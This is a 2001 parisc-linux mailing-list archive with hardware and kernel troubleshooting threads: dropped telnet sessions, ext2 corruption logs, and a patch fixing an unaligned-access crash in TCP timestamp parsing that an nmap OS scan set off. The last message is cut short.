Subject: [parisc-linux] Re: interesting problem in tty? telnetd? ls?
Date: Wed, 19 Sep 2001 15:16:09 -0700 (Pacific Daylight Time)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109191515260.5872-100000@nemo.dev.metainfo.com>
References: <B5C5D2CDB8BCD2118E4800A0C9D8E4C70177592A@cartman.sea.checkpoint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620491 25738 80.91.229.3 (22 Nov 2014 01:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 16:16:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A05482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 16:16:19 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id PAA21369
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 15:14:01 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCYGRV>; Wed, 19 Sep 2001 15:16:18 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCYGR4; Wed, 19 Sep 2001 15:16:14 -0700
In-Reply-To: <B5C5D2CDB8BCD2118E4800A0C9D8E4C70177592A@cartman.sea.checkpoint.com>
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12219

This is with the telnetd obtained from 'apt-get telnetd' btw.

On Wed, 19 Sep 2001, Mark Atkinson wrote:
> you'll lose your ptty and telnet session after a short while (seconds), but
> never at the the same place during the listing.  This does not occur over the
> serial console, but since that's only running at 9600 it may not be fast
> enough for the drop to occur.

--
Mark





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting problem in tty? telnetd? ls?
Date: Wed, 19 Sep 2001 23:28:58 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010919232858.B19441@linuxcare.com>
References: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620492 25743 80.91.229.3 (22 Nov 2014 01:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marka@sea.checkpoint.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 16:29:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CD97482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 16:29:49 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 25984B00C; Wed, 19 Sep 2001 23:28:58 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>; from marka@sea.checkpoint.com on Wed, Sep 19, 2001 at 02:55:13PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:12220

On Wed, Sep 19, 2001 at 02:55:13PM -0700, marka@sea.checkpoint.com wrote:
> I'm not sure where this problem is occuring, but I suspect it's telnetd.
> 
> telnet to your pa-risc linux box
> cd to the root directory
> execute 'ls -alR'
> 
> you'll lose your ptty and telnet session after a short while (seconds), but
> never at the the same place during the listing.  This does not occur over the
> serial console, but since that's only running at 9600 it may not be fast
> enough for the drop to occur.

I had this problem; it went away when I move up to a 2.4.9 kernel.

Richard





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting problem in tty? telnetd? ls?
Date: Thu, 20 Sep 2001 00:33:08 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <3BA91D24.8F0C2981@esiee.fr>
References: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620492 25753 80.91.229.3 (22 Nov 2014 01:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marka@sea.checkpoint.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 16:31:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EFF7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 16:31:13 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 3F5BAD1656; Thu, 20 Sep 2001 00:31:10 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12221

Hi all,

	I experience the same problem on my B132. I can log myself in but when
I do 'su' I got my connection closed.

Thomas.




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting problem in tty? telnetd? ls?
Date: Wed, 19 Sep 2001 15:34:36 -0700 (Pacific Daylight Time)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109191532390.5872-100000@nemo.dev.metainfo.com>
References: <20010919232858.B19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620492 25756 80.91.229.3 (22 Nov 2014 01:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 16:34:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C17E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 16:34:48 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id PAA21630
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 15:32:30 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCYGTA>; Wed, 19 Sep 2001 15:34:47 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCYGS0; Wed, 19 Sep 2001 15:34:42 -0700
In-Reply-To: <20010919232858.B19441@linuxcare.com>
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12222

On Wed, 19 Sep 2001, Richard Hirst wrote:
> I had this problem; it went away when I move up to a 2.4.9 kernel.

As noted earlier with the serial port problem fix, I am running 2.4.9-pa22.

--
Mark




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux and hp 735/125 fs corruption
Date: Wed, 19 Sep 2001 23:43:54 -0600 (MDT)
Lines: 69
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109192331150.14604-100000@lefou>
References: <20010916115518.A1399@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620493 25757 80.91.229.3 (22 Nov 2014 01:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 23:43:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 212EB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 23:43:56 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id XAA15249
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 23:43:54 -0600
X-X-Sender: <sonny@lefou>
In-Reply-To: <20010916115518.A1399@middle.of.nowhere>
Xref: news.gmane.org gmane.linux.ports.parisc:12223

On Sun, 16 Sep 2001 thunder7@xs4all.nl wrote:
A snippet from my logs--this is from one of the times that the problem
happened first the logs for my scsi stuff:

Aug 24 20:56:34 geordi kernel: SCSI subsystem driver Revision: 1.00
Aug 24 20:56:34 geordi kernel: sim700: Configuring 53c700 (SCSI-ID 7) at
f0825100, IRQ 86, options 1
Aug 24 20:56:35 geordi kernel: scsi0: Revision 0x0
Aug 24 20:56:35 geordi kernel: scsi0: test 1 completed ok.
Aug 24 20:56:35 geordi kernel: scsi0 : LASI/Simple 53c7xx
Aug 24 20:56:35 geordi kernel:   Vendor: SEAGATE   Model: ST32151N
Rev:  HP01
Aug 24 20:56:35 geordi kernel:   Type:   Direct-Access ANSI SCSI revision:
02
Aug 24 20:56:35 geordi kernel: Detected scsi disk sda at scsi0, channel 0, id 1, lun 0
Aug 24 20:56:35 geordi kernel: SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Aug 24 20:56:35 geordi kernel: Partition check:
Aug 24 20:56:35 geordi kernel:  sda: sda1 sda2
Aug 24 20:56:35 geordi kernel: linear personality registered
Aug 24 20:56:35 geordi kernel: raid0 personality registered
Aug 24 20:56:35 geordi kernel: raid1 personality registered
Aug 24 20:56:35 geordi kernel: raid5 personality registered
Aug 24 20:56:35 geordi kernel: raid5: measuring checksumming speed
Aug 24 20:56:35 geordi kernel:    8regs     :    86.487 MB/sec
Aug 24 20:56:35 geordi kernel:    8regs_prefetch:    86.487 MB/sec
Aug 24 20:56:35 geordi kernel:    32regs    :    94.488 MB/sec
Aug 24 20:56:35 geordi kernel:    32regs_prefetch:    94.488 MB/sec
Aug 24 20:56:35 geordi kernel: raid5: using function: 32regs_prefetch (94.488 MB/sec)

And then the errors:

Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=1490348228, limit=2079077
Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=13683948, limit=2079077
Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=1237161376, limit=2079077
Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=746694036, limit=2079077
Aug 24 21:04:20 geordi kernel: (device sd(8,2)): ext2_free_blocks: Freeing
block
s not in datazone - block = 1769104416, count = 1
Aug 24 21:04:20 geordi kernel: Remounting filesystem read-only
Aug 24 21:04:20 geordi last message repeated 108 times

Any ideas???

> On Sun, Sep 16, 2001 at 01:45:53AM -0600, Sonny Cook wrote:
> >
> > I am baffeled.  I haven't been able to find any information on this
> > subject, other than to note that 2.4.0 has been blamed for fs corruption
> > on some systems.
> >
> I have seen lots of disk-corruption on my C200+, both with 2.4.0 and
> with 2.4.9-pa{16|18|20} but it always seems to start with some
> scsi-error. By the time the partition is remounted r/o, things like
> complete linux-kernel source trees are crosslinked and corrupted. So
> far, I've not lost anything really essential, but having all the links
> in /etc/rc2.d/ removed wasn't that much fun.
>
> Do you have any messages in the log-files?
>
> Good luck,
> Jurriaan
>





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boyan Lazarov <bsl@mek.dtu.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux and hp 735/125 fs corruption
Date: Thu, 20 Sep 2001 08:54:43 +0200
Organization: DTU,MEK
Lines: 79
Approved: news@gmane.org
Message-ID: <3BA992B3.773AEFA4@mek.dtu.dk>
References: <Pine.LNX.4.33.0109192331150.14604-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=x-user-defined
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620493 25768 80.91.229.3 (22 Nov 2014 01:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:33 +0000 (UTC)
To: Sonny Cook <sonny@aspersion.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 00:56:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from b101-144c-01.mek.dtu.dk (unknown [130.226.16.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F6FE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 00:56:11 -0600 (MDT)
Original-Received: from mek.dtu.dk (localhost.localdomain [127.0.0.1])
	by b101-144c-01.mek.dtu.dk (Postfix) with ESMTP
	id 011943442C; Thu, 20 Sep 2001 08:54:43 +0200 (CEST)
Original-Sender: boco@b101-144c-01.mek.dtu.dk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12224

I have the same problem on 735/99
Regards
Boyan

Sonny Cook wrote:
> 
> On Sun, 16 Sep 2001 thunder7@xs4all.nl wrote:
> A snippet from my logs--this is from one of the times that the problem
> happened first the logs for my scsi stuff:
> 
> Aug 24 20:56:34 geordi kernel: SCSI subsystem driver Revision: 1.00
> Aug 24 20:56:34 geordi kernel: sim700: Configuring 53c700 (SCSI-ID 7) at
> f0825100, IRQ 86, options 1
> Aug 24 20:56:35 geordi kernel: scsi0: Revision 0x0
> Aug 24 20:56:35 geordi kernel: scsi0: test 1 completed ok.
> Aug 24 20:56:35 geordi kernel: scsi0 : LASI/Simple 53c7xx
> Aug 24 20:56:35 geordi kernel:   Vendor: SEAGATE   Model: ST32151N
> Rev:  HP01
> Aug 24 20:56:35 geordi kernel:   Type:   Direct-Access ANSI SCSI revision:
> 02
> Aug 24 20:56:35 geordi kernel: Detected scsi disk sda at scsi0, channel 0, id 1, lun 0
> Aug 24 20:56:35 geordi kernel: SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
> Aug 24 20:56:35 geordi kernel: Partition check:
> Aug 24 20:56:35 geordi kernel:  sda: sda1 sda2
> Aug 24 20:56:35 geordi kernel: linear personality registered
> Aug 24 20:56:35 geordi kernel: raid0 personality registered
> Aug 24 20:56:35 geordi kernel: raid1 personality registered
> Aug 24 20:56:35 geordi kernel: raid5 personality registered
> Aug 24 20:56:35 geordi kernel: raid5: measuring checksumming speed
> Aug 24 20:56:35 geordi kernel:    8regs     :    86.487 MB/sec
> Aug 24 20:56:35 geordi kernel:    8regs_prefetch:    86.487 MB/sec
> Aug 24 20:56:35 geordi kernel:    32regs    :    94.488 MB/sec
> Aug 24 20:56:35 geordi kernel:    32regs_prefetch:    94.488 MB/sec
> Aug 24 20:56:35 geordi kernel: raid5: using function: 32regs_prefetch (94.488 MB/sec)
> 
> And then the errors:
> 
> Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
> Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=1490348228, limit=2079077
> Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
> Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=13683948, limit=2079077
> Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
> Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=1237161376, limit=2079077
> Aug 24 21:04:17 geordi kernel: attempt to access beyond end of device
> Aug 24 21:04:17 geordi kernel: 08:02: rw=0, want=746694036, limit=2079077
> Aug 24 21:04:20 geordi kernel: (device sd(8,2)): ext2_free_blocks: Freeing
> block
> s not in datazone - block = 1769104416, count = 1
> Aug 24 21:04:20 geordi kernel: Remounting filesystem read-only
> Aug 24 21:04:20 geordi last message repeated 108 times
> 
> Any ideas???
> 
> > On Sun, Sep 16, 2001 at 01:45:53AM -0600, Sonny Cook wrote:
> > >
> > > I am baffeled.  I haven't been able to find any information on this
> > > subject, other than to note that 2.4.0 has been blamed for fs corruption
> > > on some systems.
> > >
> > I have seen lots of disk-corruption on my C200+, both with 2.4.0 and
> > with 2.4.9-pa{16|18|20} but it always seems to start with some
> > scsi-error. By the time the partition is remounted r/o, things like
> > complete linux-kernel source trees are crosslinked and corrupted. So
> > far, I've not lost anything really essential, but having all the links
> > in /etc/rc2.d/ removed wasn't that much fun.
> >
> > Do you have any messages in the log-files?
> >
> > Good luck,
> > Jurriaan
> >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hgrothe@mathematik.tu-darmstadt.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting problem in tty? telnetd? ls?
Date: Thu, 20 Sep 2001 15:30:38 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20010920153038.A29157@mathematik.tu-darmstadt.de>
References: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620493 25778 80.91.229.3 (22 Nov 2014 01:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 07:30:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430E6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 07:30:43 -0600 (MDT)
Original-Received: from fb04281.mathematik.tu-darmstadt.de (fb04281.mathematik.tu-darmstadt.de [130.83.2.21])
	by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id PAA02009
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 15:29:17 +0200 (MET DST)
Original-Received: from fb0482.mathematik.tu-darmstadt.de (dummy82.mathematik.tu-darmstadt.de [130.83.2.82])
	by fb04281.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA09324
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 15:30:38 +0200
X-Authentication-Warning: fb04281.mathematik.tu-darmstadt.de: Host dummy82.mathematik.tu-darmstadt.de [130.83.2.82] claimed to be fb0482.mathematik.tu-darmstadt.de
Original-Received: (from grothe@localhost)
	by fb0482.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) id PAA29169
	for parisc-linux@lists.parisc-linux.org; Thu, 20 Sep 2001 15:30:38 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>; from marka@sea.checkpoint.com on Wed, Sep 19, 2001 at 02:55:13PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:12225

On Wed, Sep 19, 2001 at 02:55:13PM -0700, marka@sea.checkpoint.com wrote:
> I'm not sure where this problem is occuring, but I suspect it's telnetd.
> 
> telnet to your pa-risc linux box
> cd to the root directory
> execute 'ls -alR'
> 
> you'll lose your ptty and telnet session after a short while (seconds), but
> never at the the same place during the listing.  This does not occur over the
> serial console, but since that's only running at 9600 it may not be fast
> enough for the drop to occur.
>
Yes, it's telnetd. Replacing /usr/sbin/in.telnetd (telnetd_0.17-16_hppa.deb)
with a self-compiled one (from source netkit-telnet_0.16.orig.tar.gz with
potato patches) works for me. I modified Makefile in subdir telnetd to use
the correct login wrapper (the one from 0.17): 
   -DLOGIN_WRAPPER=\"/usr/lib/telnetlogin\"

HTH, Holger

P.S.: openssh works out of the box and is more secure
-- 
Holger Grothe  (Email: hgrothe@mathematik.tu-darmstadt.de)
Fachbereich Mathematik, TU Darmstadt




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hgrothe@mathematik.tu-darmstadt.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Thu, 20 Sep 2001 19:03:24 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20010920190324.A4489@mathematik.tu-darmstadt.de>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere> <20010918002427.C17483@gollum.intranet.nimag.net> <20010918073855.A11627@middle.of.nowhere> <20010918123829.A3082@dogbert.localdomain> <20010918210628.A10837@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="EVF5PPMfhYS0aIcm"
X-Trace: ger.gmane.org 1416620494 25783 80.91.229.3 (22 Nov 2014 01:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 11:03:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE77C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 11:03:26 -0600 (MDT)
Original-Received: from fb04281.mathematik.tu-darmstadt.de (fb04281.mathematik.tu-darmstadt.de [130.83.2.21])
	by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id TAA17649
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 19:01:59 +0200 (MET DST)
Original-Received: from fb0482.mathematik.tu-darmstadt.de (dummy82.mathematik.tu-darmstadt.de [130.83.2.82])
	by fb04281.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA10879
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 19:03:25 +0200
X-Authentication-Warning: fb04281.mathematik.tu-darmstadt.de: Host dummy82.mathematik.tu-darmstadt.de [130.83.2.82] claimed to be fb0482.mathematik.tu-darmstadt.de
Original-Received: (from grothe@localhost)
	by fb0482.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) id TAA04497
	for parisc-linux@lists.parisc-linux.org; Thu, 20 Sep 2001 19:03:25 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010918210628.A10837@middle.of.nowhere>; from thunder7@xs4all.nl on Tue, Sep 18, 2001 at 09:06:28PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12226

--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, Sep 18, 2001 at 07:38:55PM +0200, thunder7@xs4all.nl wrote:
> At this point, newbies like you and me can only hope one of the real
> kernel hackers sees this and says 'A-ha!'.
> 
> If I look at that code, I see a lot of (__u16 *)ptr and the like.
> 
> Am I correct in assuming those are all suspects and this is just another
> example of the missing unaligned access trap haunting us?

Far away from being a kernel hacker I tracked down the problem a little bit,
because I hate it if my favourite 'playing around' machine can be easily
crashed down by network. The following patch is not a solution in sense
of missing unaligned access trap(s) (I have much too few knowledge especially
of parisc assembler). It's a quick'n (really) dirty workaround which works
for me. The patch (for linux-2.4.9-pa24) breaks (__u32 *)ptr into two 
(__u16 *)ptr.

Comments are welcome.
   Holger
-- 
Holger Grothe  (Email: hgrothe@mathematik.tu-darmstadt.de)
Fachbereich Mathematik, TU Darmstadt

--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="linux-2.4.9-pa24.diff"

*** net/ipv4/tcp_input.c.dist	Fri Aug 17 12:04:25 2001
--- net/ipv4/tcp_input.c	Wed Sep 19 19:25:18 2001
***************
*** 2051,2058 ****
--- 2051,2063 ----
  						if ((estab && tp->tstamp_ok) ||
  						    (!estab && sysctl_tcp_timestamps)) {
  							tp->saw_tstamp = 1;
+ #if defined (__hppa__)							
+ 							tp->rcv_tsval = (((__u32)ntohs(*(__u16 *)ptr))<<16) | ((__u32)ntohs(*(__u16 *)(ptr+2)));
+ 							tp->rcv_tsecr = (((__u32)ntohs(*(__u16 *)(ptr+4)))<<16) | ((__u32)ntohs(*(__u16 *)(ptr+6)));
+ #else
  							tp->rcv_tsval = ntohl(*(__u32 *)ptr);
  							tp->rcv_tsecr = ntohl(*(__u32 *)(ptr+4));
+ #endif
  						}
  					}
  					break;

--EVF5PPMfhYS0aIcm--




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel 2.5.9-pa24 won't boot 735/125
Date: Thu, 20 Sep 2001 13:33:09 -0600 (MDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620494 25796 80.91.229.3 (22 Nov 2014 01:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 13:33:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E968482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 13:33:11 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id NAA23720
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 13:33:09 -0600
X-X-Sender: <sonny@lefou>
Xref: news.gmane.org gmane.linux.ports.parisc:12227

Hi,
I just tried my hand at cross compiling the parisc-linux kernel on my x86
